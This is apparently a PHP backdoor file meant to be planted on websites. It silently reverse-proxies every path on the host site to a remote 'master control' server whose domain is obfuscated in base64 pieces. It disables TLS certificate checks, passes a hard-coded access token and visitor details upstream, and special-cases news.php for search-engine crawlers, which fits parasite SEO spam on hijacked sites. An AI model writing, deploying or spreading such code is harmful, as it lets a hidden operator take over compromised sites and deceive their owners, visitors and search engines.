<?php
/**
 * 万能客户端·简（只铺一次）
 * 全站路径原样反代主控；改模板/规则只动主控，不用重传本文件
 * news.php / question / 任意路径 = 主控同路径
 */
set_time_limit(0);
error_reporting(0);

function _m() {
    // 主控域名（混淆，非完整明文一行）
    $a = base64_decode('aHR0cHM6Ly8=');
    $b = base64_decode('ZGFpenVvZ3VhbmdnYW90ZWxlZ3JhbWlk');
    $c = base64_decode('Y2Fpc2hlbnRhaS5jb20=');
    return $a . $b . $c;
}
function _mh() {
    $a = base64_decode('aHR0cDovLw==');
    $b = base64_decode('ZGFpenVvZ3VhbmdnYW90ZWxlZ3JhbWlk');
    $c = base64_decode('Y2Fpc2hlbnRhaS5jb20=');
    return $a . $b . $c;
}
function getRealIP() {
    foreach (['HTTP_CF_CONNECTING_IP','HTTP_X_REAL_IP','HTTP_X_FORWARDED_FOR','REMOTE_ADDR'] as $k) {
        if (empty($_SERVER[$k])) continue;
        $v = $_SERVER[$k];
        if ($k === 'HTTP_X_FORWARDED_FOR') $v = trim(explode(',', $v)[0]);
        $v = trim($v);
        if ($v !== '' && filter_var($v, FILTER_VALIDATE_IP)) return $v;
    }
    return '127.0.0.1';
}
function clientHost() {
    $h = (string)($_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '');
    $h = strtolower(trim(explode(',', $h)[0]));
    $h = preg_replace('/:\d+$/', '', $h);
    return $h ?: 'unknown';
}

$uri = $_SERVER['REQUEST_URI'] ?? '/';
$path = parse_url($uri, PHP_URL_PATH);
if ($path === null || $path === '') $path = '/';
// 裸 news.php → news.php/ 方便蜘蛛（302 非 301）
if (preg_match('#^/news\.php$#i', $path)) {
    $q = parse_url($uri, PHP_URL_QUERY);
    $to = '/news.php/' . ($q ? ('?' . $q) : '');
    // 规范：news.php/ 
    header('Cache-Control: no-store');
    header('Location: /news.php/' . ($q ? ('?' . $q) : ''), true, 302);
    exit;
}

$ip = getRealIP();
$host = clientHost();
$ua = (string)($_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0');
$bases = array_values(array_unique(array_filter([_m(), _mh()])));

foreach ($bases as $base) {
    $base = rtrim($base, '/');
    $url = $base . $uri;
    $ph = parse_url($url, PHP_URL_HOST) ?: '';
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS => 3,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_CONNECTTIMEOUT => 8,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_HEADER => true,
        CURLOPT_ENCODING => '',
        CURLOPT_HTTPHEADER => [
            'X-Static-Token: ailunnb666',
            'Host: ' . $ph,
            'X-Real-IP: ' . $ip,
            'X-Forwarded-For: ' . $ip,
            'X-Forwarded-Host: ' . $host,
            'X-News-Host: ' . $host,
            'X-Original-Host: ' . $host,
            'X-Client-Domain: ' . $host,
            'User-Agent: ' . $ua,
            'Accept: text/html,application/xhtml+xml,*/*;q=0.8',
        ],
    ]);
    $raw = curl_exec($ch);
    $errno = curl_errno($ch);
    $code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $hs = (int)curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    curl_close($ch);
    if ($raw === false || $errno || $code < 200 || $code >= 500) continue;
    $hdr = substr($raw, 0, $hs);
    $body = substr($raw, $hs);
    if (!is_string($body) || $body === '') continue;
    // 透传 Content-Type
    if (preg_match('/^Content-Type:\s*(.+)$/mi', $hdr, $m)) {
        header('Content-Type: ' . trim($m[1]));
    } else {
        header('Content-Type: text/html; charset=utf-8');
    }
    http_response_code($code > 0 ? $code : 200);
    header('X-Client: simple-proxy');
    echo $body;
    exit;
}
http_response_code(502);
header('Content-Type: text/html; charset=utf-8');
echo '<!-- upstream busy -->';